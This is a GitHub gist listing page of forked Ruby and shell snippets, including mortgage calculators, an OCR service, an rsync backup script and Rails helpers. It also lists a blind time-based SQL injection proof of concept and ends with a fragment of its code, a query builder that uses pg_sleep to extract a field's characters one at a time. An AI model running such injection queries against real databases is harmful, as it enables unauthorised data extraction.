Sahidur Rahman Suman sahidursuman

sahidursuman / parser.rb

Created May 31, 2018 08:56 — forked from derwiki/parser.rb

Using `parser` to look for `Resque.enqueue` calls inside a `ActiveRecord::Base.transaction` block.

	require 'parser/current'

	class Processor < AST::Processor
	attr_accessor :verbose

	def initialize(*args)
	super
	self.verbose = false
	end

sahidursuman / blind-sql-time-based-attack.rb

Created May 31, 2018 08:55 — forked from derwiki/blind-sql-time-based-attack.rb

Blind time-based SQL injection attack, proof of concept (with PgHero)

sahidursuman / historical_housing_prices_analyzer.rb

Created May 31, 2018 08:55 — forked from derwiki/historical_housing_prices_analyzer.rb

Using historical housing price data for an area, determine the minimum appreciation for every year interval

sahidursuman / mortgage_overpay_calculator.rb

Created May 31, 2018 08:55 — forked from derwiki/mortgage_overpay_calculator.rb

How does overpaying your mortgage affect equity earned over 7 years?

	PROPERTY_TAX_RATE = 0.015
	home_value = 1_000_000.0
	deposit = 500_000
	#loan_amount = home_value - deposit
	yearly_property_tax = home_value * PROPERTY_TAX_RATE
	monthly_property_tax = yearly_property_tax / 12.0
	monthly_property_tax_adjustment = monthly_property_tax * 0.36

	principal = 500_000.0
	monthly_interest_rate = 0.03 / 12

sahidursuman / google_cloud_vision_ocr_pdf_service.rb

Created May 31, 2018 08:54 — forked from derwiki/google_cloud_vision_ocr_pdf_service.rb

`GoogleCloudVision::OcrPdfService.new('path/to/document.pdf').perform` yields each page's text.

	require 'google/cloud/vision'

	def log(s); puts s; end

	module GoogleCloudVision
	class OcrPdfService
	attr_accessor :pdf_filename

	def initialize(pdf_filename)
	fail "GOOGLE_CLOUD_KEYFILE env variable required" unless ENV['GOOGLE_CLOUD_KEYFILE']

sahidursuman / backup.sh

Created May 31, 2018 08:54 — forked from derwiki/backup.sh

Simple and efficient mirroring of two hard drives using `rsync`.

	# These commands are to be run in different tmux panes to quickly copy the
	# contents of one hard drive to another. `rsync` is used for it's robustness,
	# interruptibility, and efficiency in incremental updates.
	#
	# After the initial clone, the same `rsync` command can be run to copy just the
	# new/changed files from source to target.

	# tmux pane 1
	rsync --partial -a /Volumes/ushuaia/ /Volumes/amsterdam/

sahidursuman / sum.rb

Created May 29, 2018 10:22 — forked from ProfAvery/sum.rb

15 ways to sum an array in Ruby

	#!/usr/bin/env ruby

	require 'test/unit'

	class TestSums < Test::Unit::TestCase

	def setup
	@a = [2, 5, 18, 27]
	@sum = 0
	end

sahidursuman / gist:a69d1c37c01dde61d7b62d425428584e

Created May 17, 2018 10:23 — forked from lksv/gist:8355777

	def update_tree(options = {}, &block)
	authorize!(action_name.to_sym, resource_class)


	parent_id = params[:parent_id]
	# check that parent shoud by node which is visible for the user.
	authorize!(:list, params[:parent_id])

	err_exit = proc { \|r\|
	render json: {

sahidursuman / helper.rb

Created May 17, 2018 10:09 — forked from manfe/helper.rb

Rails Helper to build Hierachical HTML List

	module TreeListHelper
	# the collection need to be the root parents
	def tree_list(collection)
	content_tag(:ul) do
	collection.each do \|item\|
	if item.children.any?
	concat(
	content_tag(:li, id: item.id) do
	concat(item.name)
	concat(tree_list(item.children))

sahidursuman / matrix.rb

Created May 15, 2018 06:31 — forked from d7om/matrix.rb

Example of how use matrix class in ruby

	require 'matrix'
	require 'pp'

	# This is how you can define new matrix
	a = Matrix[ [1,2], [3,4]]
	b = Matrix[ [4,3], [2,1]]


	pp a
	pp b

	# More information available at https://www.owasp.org/index.php/Blind_SQL_Injection
	POSITIVE_DELAY = 2

	CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a

	def query(table, field, id, char, pos)
	%Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;]
	end

	def timeit